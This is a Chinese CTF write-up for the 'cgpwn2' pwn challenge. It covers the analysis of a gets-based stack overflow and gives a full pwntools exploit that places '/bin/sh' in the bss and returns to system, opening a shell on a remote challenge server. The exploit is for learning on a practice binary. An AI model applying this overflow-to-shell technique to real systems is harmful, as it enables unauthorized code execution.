cgpwn2

image.png

0x00 filechecksec

image.png

0x01 ida分析

image.png
  • 调用了hello函数
  • 存在危险函数gets
  • 发现name存在于bss段,可能能向里面写点什么东西,接着往下看
    image.png
  • 同时发现存在system函数
    image.png
  • 思路就有了,利用read向bss段写入'/bin/sh',然后利用gets溢出调用system即可getshell

0x02 完整exp

  • name写为'/bin/sh',返回地址改为system_plt的地址,参数为name的地址即可
from pwn import *

local=0
pc='./cgpwn2'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    #gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 45365]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    bin_sh = '/bin/sh'
    sla('name\n', bin_sh)

    system_plt_addr = 0x08048420
    name_addr = 0x0804a080
    payload = ''
    payload += 'A'*0x26
    payload += 'cxy1'
    payload += p32(system_plt_addr)
    payload += 'cxy2'
    payload += p32(name_addr)
    sla('here:\n', payload)
    p.interactive()

0x03 结果

image.png
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 简单的栈溢出题目,有system函数没有"/bin/sh"字符串,但是也提供了fgets(name, 50, st...
    n0va阅读 3,477评论 0 0
  • ¥开启¥ 【iAPP实现进入界面执行逐一显】 〖2017-08-25 15:22:14〗 《//首先开一个线程,因...
    小菜c阅读 11,721评论 0 17
  • 新手练习 CGfsb 简单的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv阅读 8,441评论 0 6
  • 以下问题来自于与公司小伙伴以及网友的讨论,整理成章,希望提供另一种思路(避免踩坑)解决问题。 函数重载 TypeS...
    三毛丶阅读 6,504评论 0 0
  • 刚刚打个新闻,又是一起夺走数名生命的事故。 这一个个都是人啊!能不能尊重生命啊? 就在前两天陕西发生了一起煤矿爆炸...
    黄志华ks阅读 2,948评论 0 0